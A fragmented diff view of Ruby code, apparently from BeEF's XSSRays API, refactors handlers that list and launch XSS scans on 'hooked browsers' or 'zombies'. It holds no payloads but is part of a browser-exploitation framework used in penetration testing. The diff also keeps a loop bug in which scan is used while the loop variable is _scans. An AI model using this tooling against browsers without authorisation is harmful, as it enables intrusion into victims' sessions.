rays.each do |ray|
|
||||||
result[:rays] << ray2hash(ray)
|
result[:rays] << ray2hash(ray)
|
||||||
end
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns the entire list of scans for all zombies
|
# Returns the entire list of scans for all zombies
|
||||||
get '/scans' do
|
get '/scans' do
|
||||||
begin
|
scans = XS.distinct.order(:id)
|
||||||
scans = XS.distinct.order(:id)
|
count = scans.length
|
||||||
count = scans.length
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:scans] = []
|
result[:scans] = []
|
||||||
scans.each do |scan|
|
scans.each do |scan|
|
||||||
result[:scans] << scan2hash(scan)
|
result[:scans] << scan2hash(scan)
|
||||||
end
|
|
||||||
result.to_json
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving scans (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
result.to_json
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving scans (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all scans given a specific hooked browser id
|
# Returns all scans given a specific hooked browser id
|
||||||
get '/scans/:id' do
|
get '/scans/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
scans = XS.where(:hooked_browser_id => id).distinct.order(:id)
|
scans = XS.where(hooked_browser_id: id).distinct.order(:id)
|
||||||
count = scans.length
|
count = scans.length
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:scans] = []
|
result[:scans] = []
|
||||||
scans.each do |scans|
|
scans.each do |_scans|
|
||||||
result[:scans] << scan2hash(scan)
|
result[:scans] << scan2hash(scan)
|
||||||
end
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Starts a new scan on the specified zombie ID
|
# Starts a new scan on the specified zombie ID
|
||||||
post '/scan/:id' do
|
post '/scan/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
hooked_browser = HB.where(:session => id).distinct.order(:id).first
|
hooked_browser = HB.where(session: id).distinct.order(:id).first
|
||||||
|
|
||||||
if hooked_browser.nil?
|
if hooked_browser.nil?
|
||||||
print_error "[XSSRAYS] Invalid hooked browser ID"
|
print_error '[XSSRAYS] Invalid hooked browser ID'
|
||||||
return
|
return
|
||||||
end
|
|
||||||
|
|
||||||
# set Cross-domain settings
|
|
||||||
cross_domain = params[:cross_domain].to_s
|
|
||||||
if cross_domain == ''
|
|
||||||
cross_domain = CROSS_DOMAIN
|
|
||||||
elsif cross_domain == 'false'
|
|
||||||
cross_domain = false
|
|
||||||
else
|
|
||||||
cross_domain = true
|
|
||||||
end
|
|
||||||
|
|
||||||
# set clean timeout settings
|
|
||||||
clean_timeout = params[:clean_timeout].to_s
|
|
||||||
if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
|
|
||||||
clean_timeout = CLEAN_TIMEOUT
|
|
||||||
end
|
|
||||||
|
|
||||||
xssrays_scan = XS.new(
|
|
||||||
:hooked_browser_id => hooked_browser.id,
|
|
||||||
:scan_start => Time.now,
|
|
||||||
:domain => hooked_browser.domain,
|
|
||||||
# check also cross-domain URIs found by the crawler
|
|
||||||
:cross_domain => cross_domain,
|
|
||||||
# how long to wait before removing the iFrames from the DOM (5000ms default)
|
|
||||||
:clean_timeout => clean_timeout
|
|
||||||
)
|
|
||||||
xssrays_scan.save
|
|
||||||
|
|
||||||
print_info("[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}], cross-domain: #{cross_domain}, clean timeout: #{clean_timeout}")
|
|
||||||
|
|
||||||
result = scan2hash(xssrays_scan)
|
|
||||||
print_debug "[XSSRays] New scan: #{result}"
|
|
||||||
|
|
||||||
#result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# set Cross-domain settings
|
||||||
|
cross_domain = params[:cross_domain].to_s
|
||||||
|
cross_domain = if cross_domain == ''
|
||||||
|
CROSS_DOMAIN
|
||||||
|
else
|
||||||
|
cross_domain != 'false'
|
||||||
|
end
|
||||||
|
|
||||||
|
# set clean timeout settings
|
||||||
|
clean_timeout = params[:clean_timeout].to_s
|
||||||
|
clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
|
||||||
|
|
||||||
|
xssrays_scan = XS.new(
|
||||||
|
hooked_browser_id: hooked_browser.id,
|
||||||
|
scan_start: Time.now,
|
||||||
|
domain: hooked_browser.domain,
|
||||||
|
# check also cross-domain URIs found by the crawler
|
||||||
|
cross_domain: cross_domain,
|
||||||
|
# how long to wait before removing the iFrames from the DOM (5000ms default)
|
||||||
|
clean_timeout: clean_timeout
|
||||||
|
)
|
||||||
|
xssrays_scan.save
|
||||||
|
|
||||||
|
print_info(
|
||||||
|
"[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \
|
||||||
|
"hooked domain [#{hooked_browser.domain}], " \
|
||||||
|
"cross-domain: #{cross_domain}, " \
|
||||||
|
"clean timeout: #{clean_timeout}"
|
||||||
|
)
|
||||||
|
|
||||||
|
result = scan2hash(xssrays_scan)
|
||||||
|
print_debug "[XSSRays] New scan: #{result}"
|
||||||
|
|
||||||
|
# result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
@@ -176,32 +165,32 @@ module BeEF
|
|||||||
# Convert a ray object to JSON
|
# Convert a ray object to JSON
|
||||||
def ray2hash(ray)
|
def ray2hash(ray)
|
||||||
{
|
{
|
||||||
:id => ray.id,
|
id: ray.id,
|
||||||
:hooked_browser_id => ray.hooked_browser_id,
|
hooked_browser_id: ray.hooked_browser_id,
|
||||||
:vector_name => ray.vector_name,
|
vector_name: ray.vector_name,
|
||||||
:vector_method => ray.vector_method,
|
vector_method: ray.vector_method,
|
||||||
:vector_poc => ray.vector_poc
|
vector_poc: ray.vector_poc
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Convert a scan object to JSON
|
# Convert a scan object to JSON
|
||||||
def scan2hash(scan)
|
def scan2hash(scan)
|
||||||
{
|
{
|
||||||
:id => scan.id,
|
id: scan.id,
|
||||||
:hooked_browser_id => scan.hooked_browser_id,
|
hooked_browser_id: scan.hooked_browser_id,
|
||||||
:scan_start=> scan.scan_start,
|
scan_start: scan.scan_start,
|
||||||
:scan_finish=> scan.scan_finish,
|
scan_finish: scan.scan_finish,
|
||||||
:domain => scan.domain,
|
domain: scan.domain,
|
||||||
:cross_domain => scan.cross_domain,
|
cross_domain: scan.cross_domain,
|
||||||
:clean_timeout => scan.clean_timeout,
|
clean_timeout: scan.clean_timeout,
|
||||||
:is_started => scan.is_started,
|
is_started: scan.is_started,
|
||||||
:is_finished => scan.is_finished
|
is_finished: scan.is_finished
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/xssrays handler.
|
# Raised when invalid JSON input is passed to an /api/xssrays handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
@@ -210,11 +199,11 @@ module BeEF
|
|||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/xssrays handler.
|
# Raised when an invalid named parameter is passed to an /api/xssrays handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Invalid \"%s\" parameter passed to /api/xssrays handler"
|
str = 'Invalid "%s" parameter passed to /api/xssrays handler'
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user